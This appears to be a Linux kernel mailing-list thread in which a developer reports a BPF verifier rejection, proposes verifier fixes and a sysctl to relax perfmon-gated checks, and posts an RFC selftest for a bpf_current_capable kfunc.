#include <bpf/bpf_helpers.h>
struct flow_stats_v {
__u32 egress_packets;
__u32 ingress_packets;
};/* ELF map definition */
struct bpf_elf_map {
__u32 type;
__u32 size_key;
__u32 size_value;
__u32 max_elem;
__u32 flags;
__u32 id;
__u32 pinning;
__u32 inner_id;
__u32 inner_idx;
};struct bpf_elf_map SEC("maps") flow_stats = {
.type = BPF_MAP_TYPE_HASH,
.size_key = sizeof(__u32),
.size_value = sizeof(struct flow_stats_v),
.max_elem = 32,
.flags = BPF_F_NO_PREALLOC,
.pinning = 0,
};
struct bpf_elf_map SEC("maps") classid = {
.type = BPF_MAP_TYPE_HASH,
.size_key = sizeof(__be32),
.size_value = sizeof(__be32),
.max_elem = 32,
.flags = BPF_F_NO_PREALLOC,
.pinning = 0,
};struct flow {
__be32 local_classid;
__be32 local_addr;
__u8 dir;
};static void flow_stat(struct __sk_buff *skb, struct flow *flow)
{
struct flow_stats_v *value;
__u32 key = 0; // This value is not relavant
value = bpf_map_lookup_elem(&flow_stats, &key);
if (!value)
return;
if (flow->dir == 0)
__sync_fetch_and_add(&value->egress_packets, 1);
else
__sync_fetch_and_add(&value->ingress_packets, 1);
}int handle_packet(struct __sk_buff *skb, int dir)
{
void *data_end = (void *)(long)skb->data_end;
void *data = (void *)(long)skb->data;
struct flow flow = {};
__be32 *id;
flow.dir = dir;
flow.local_addr = 1; // This value is not relavant
id = bpf_map_lookup_elem(&classid, &flow.local_addr);
if (id && *id)
flow.local_classid = *id;
flow_stat(skb, &flow);
return TC_ACT_OK;
}SEC("cls-ingress")
int ingress(struct __sk_buff *skb)
{
return handle_packet(skb, 1);
}char _license[] SEC("license") = "GPL";
The error log of the bpf verifier as follows,
23: (71) r3 = *(u8 *)(r10 -8) ;
R3_w=scalar(umax=255,var_off=(0x0; 0xff)) R10=fp0 fp-8=mmmm???m
24: (b7) r2 = 1 ; R2_w=1
25: (55) if r3 != 0x0 goto pc+1 27:
R0=map_value(off=0,ks=4,vs=8,imm=0) R1_w=1 R2_w=1 R3_w=scalar(umax=255,var_off=(0x0; 0xff)) R10=fp0 fp-8=mmmm???m fp-16=
27: (67) r2 <<= 2 ; R2_w=4
28: (0f) r0 += r2
R0 tried to add from different maps, paths or scalars, pointer arithmetic with it prohibited for !root
processed 31 insns (limit 1000000000) max_states_per_insn 0 total_states 3 peak_states 3 mark_read 1
It can be fixed by the code change below in the kernel,
kernel/bpf/verifier.c +0 -0
@@ -11750,7 +11750,7 @@ static int update_alu_sanitation_state(struct
bpf_insn_aux_data *aux,
/* If we arrived here from different branches with different
* state or limits to sanitize, then this won't work.
*/
- if (aux->alu_state &&
+ if (aux->alu_state && aux->alu_limit &&
(aux->alu_state != alu_state ||
aux->alu_limit != alu_limit))
return REASON_PATHS;But I'm not sure if it is a proper fix.
We can workaround the issue by modifying our bpf program as follows,
@@ -77,7 +77,21 @@ int handle_packet(struct __sk_buff *skb, int dir)
if (id && *id)
flow.local_classid = *id;- flow_stat(skb, &flow);
+ {
+ struct flow_stats_v *value;
+ __u32 key = 0; // This value is not relavant+
+ value = bpf_map_lookup_elem(&flow_stats, &key);
+ if (!value)
+ return TC_ACT_OK;
+
+ if (flow.dir == 0)
+ __sync_fetch_and_add(&value->egress_packets, 1);
+ else
+ __sync_fetch_and_add(&value->ingress_packets, 1);
+
+ }
+ // flow_stat(skb, &flow);
return TC_ACT_OK;}
But I don't have a clear idea why.
It seems to me that the bpf verifier under cap_net_admin+cap_bpf is fragile. I'm wondering if it is possible to add a sysctl to bypass the perfmon check :
include/linux/bpf.h +0 -0
@@ -2091,22 +2091,22 @@ static inline void
bpf_map_dec_elem_count(struct bpf_map *map)
static inline bool bpf_allow_ptr_leaks(void)
{
- return perfmon_capable();
+ return perfmon_capable() || syscal_bypass_perfmon;
}
static inline bool bpf_allow_uninit_stack(void)
{
- return perfmon_capable();
+ return perfmon_capable() || syscal_bypass_perfmon;
}
static inline bool bpf_bypass_spec_v1(void)
{
- return perfmon_capable();
+ return perfmon_capable() || syscal_bypass_perfmon;
}
static inline bool bpf_bypass_spec_v4(void)
{
- return perfmon_capable();
+ return perfmon_capable() || syscal_bypass_perfmon;
}
int bpf_map_new_fd(struct bpf_map *map, int flags);
Do you have any suggestions?
Signature · 2 lines
Regards Yafang
Re: [RFC PATCH bpf-next 1/2] bpf: Add bpf_current_capable kfunc
In reply to Yafang ShaoQuoted 22 lines · Yafang Shao
Quoted 12 lines
Yonghong already pointed out upthread that comparison of two packet pointers is not a pointer leak. See this code:
} else if (!try_match_pkt_pointers(insn, dst_reg, ®s[insn->src_reg], this_branch, other_branch) && is_pointer_value(env, insn->dst_reg)) { verbose(env, "R%d pointer comparison prohibited\n", insn->dst_reg); return -EACCES; }Quoted 1 line
It's not clear why it doesn't address your case.
It can address the issue.
It seems we should do the code change below.kernel/bpf/verifier.c +0
-0
kernel/bpf/verifier.c static int check_cond_jmp_op(struct · line 13824
Quoted 6 lines
kernel/bpf/verifier.c +2
-0@@ -13819,6 +13819,18 @@ static int check_cond_jmp_op(struct bpf_verifier_env *env, return -EINVAL ; } + other_branch =push_stack (env, *insn_idx + insn->off +1 , *insn_idx, + false);
Yeah. something like that.
except we must do push_stack() only after is_branch_taken() didn't succeed.
RFC PATCH 2/2 selftests/bpf: Add selftest for bpf_current_capable
In reply to Yafang ShaoAdd testcase for the newly added bpf_current_capable.
The result:
$ tools/testing/selftests/bpf/test_progs --name=bpf_current_cap #13 bpf_current_cap:OK Summary: 1/0 PASSED, 0 SKIPPED, 0 FAILED
--- .../selftests/bpf/prog_tests/bpf_current_cap.c | 80 ++++++++++++++++++++++ .../selftests/bpf/progs/test_bpf_current_cap.c | 37 ++++++++++ 2 files changed, 117 insertions(+) create mode 100644 tools/testing/selftests/bpf/prog_tests/bpf_current_cap.c create mode 100644 tools/testing/selftests/bpf/progs/test_bpf_current_cap.c
tools/testing/selftests/bpf/prog_tests/bpf_current_cap.c new file +80 -0
@@ -0,0 +1,80 @@ +// SPDX-License-Identifier: GPL-2.0 +/* Copyright (C) 2023 Yafang Shao <[email protected]> */ + +#include <linux/perf_event.h> +#include <linux/bpf.h> +#include <test_progs.h> +#include "cap_helpers.h" +#include "test_bpf_current_cap.skel.h" + +void serial_test_bpf_current_cap (void ) +{ +struct test_bpf_current_cap *skel; +struct perf_event_attr attr = {}; +int pfd, link_fd, err; +__u64 caps =0 ; + + skel =test_bpf_current_cap__open_and_load (); +if (!ASSERT_OK_PTR (skel,"skel_open" )) +return ; + + attr.size =sizeof (attr); + attr.type =PERF_TYPE_SOFTWARE ; + attr.config =PERF_COUNT_SW_CPU_CLOCK ; + attr.freq =1 ; + attr.sample_freq =1000 ; + pfd =syscall (__NR_perf_event_open, &attr,-1 ,0 ,-1 ,PERF_FLAG_FD_CLOEXEC ); +if (!ASSERT_GE (pfd,0 ,"perf_event_open" )) + goto cleanup; + +/* In case CAP_BPF and CAP_PERFMON is not set */ + err =cap_enable_effective (1ULL <<CAP_BPF |1ULL <<CAP_PERFMON , &caps); +if (!ASSERT_OK (err,"set_cap_bpf_perfmon" )) + goto close_perf; + + err =cap_disable_effective (1ULL <<CAP_SYS_ADMIN ,NULL ); +if (!ASSERT_OK (err,"disable_cap_sys_admin" )) + goto restore_cap; + + link_fd =bpf_link_create (bpf_program__fd (skel->progs.perf_event_run), pfd, +BPF_PERF_EVENT ,NULL ); +if (!ASSERT_GE (link_fd,0 ,"link_create_without_lsm" )) + goto restore_cap; +close (link_fd); +ASSERT_EQ (skel->bss->cap_sys_admin, false,"cap_sys_admin_init_value" ); +ASSERT_EQ (skel->bss->cap_bpf, false,"cap_bpf_init_value" ); +ASSERT_EQ (skel->bss->cap_perfmon, false,"cap_perfmon_init_value" ); + + skel->links.lsm_run =bpf_program__attach_lsm (skel->progs.lsm_run); +if (!ASSERT_OK_PTR (skel->links.lsm_run,"lsm_attach" )) + goto restore_cap; + + link_fd =bpf_link_create (bpf_program__fd (skel->progs.perf_event_run), pfd, +BPF_PERF_EVENT ,NULL ); +if (!ASSERT_LE (link_fd,0 ,"link_create_without_sys_admin" )) + goto restore_cap; +ASSERT_EQ (skel->bss->cap_sys_admin, false,"cap_sys_admin_disable" ); +ASSERT_EQ (skel->bss->cap_bpf, true,"cap_bpf_enable" ); +ASSERT_EQ (skel->bss->cap_perfmon, true,"cap_perfmon_enable" ); + + err =cap_enable_effective (1ULL <<CAP_SYS_ADMIN ,NULL ); +if (!ASSERT_OK (err,"enable_cap_sys_admin" )) + goto restore_cap; + + link_fd =bpf_link_create (bpf_program__fd (skel->progs.perf_event_run), pfd, +BPF_PERF_EVENT ,NULL ); +if (!ASSERT_GE (link_fd,0 ,"link_create_with_sys_admin" )) + goto restore_cap; +close (link_fd); +ASSERT_EQ (skel->bss->cap_sys_admin, true,"cap_sys_admin_enable" ); +ASSERT_EQ (skel->bss->cap_bpf, true,"cap_bpf_enable" ); +ASSERT_EQ (skel->bss->cap_perfmon, true,"cap_perfmon_enable" ); + +restore_cap: +if (caps) +cap_enable_effective (caps,NULL ); +close_perf: +close (pfd); +cleanup: +test_bpf_current_cap__destroy (skel); +}
tools/testing/selftests/bpf/progs/test_bpf_current_cap.c new file +37 -0
@@ -0,0 +1,37 @@ +// SPDX-License-Identifier: GPL-2.0 +/* Copyright (C) 2023 Yafang Shao <[email protected]> */ + +#include "vmlinux.h" +#include <bpf/bpf_helpers.h> +#include <bpf/bpf_tracing.h> + +#define CAP_SYS_ADMIN 21 +#define CAP_PERFMON 38 +#define CAP_BPF 39 + +extern bool bpf_current_capable(int cap) __ksym; +bool cap_sys_admin, cap_bpf, cap_perfmon; + +int link_create_audit (union bpf_attr *attr) +{ + cap_bpf =bpf_current_capable (CAP_BPF ); + cap_perfmon =bpf_current_capable (CAP_PERFMON ); + cap_sys_admin =bpf_current_capable (CAP_SYS_ADMIN ); +return cap_sys_admin ?0 :-1 ; +} + +SEC("lsm/bpf") +int BPF_PROG (lsm_run ,int cmd,union bpf_attr *attr,unsigned int size) +{ +if (cmd !=BPF_LINK_CREATE ) +return 0 ; +return link_create_audit (attr); +} + +SEC("perf_event") +int BPF_PROG (perf_event_run ) +{ +return 0 ; +} + +char _license[] SEC("license") = "GPL";
Signature · 1 line
1.8.3.1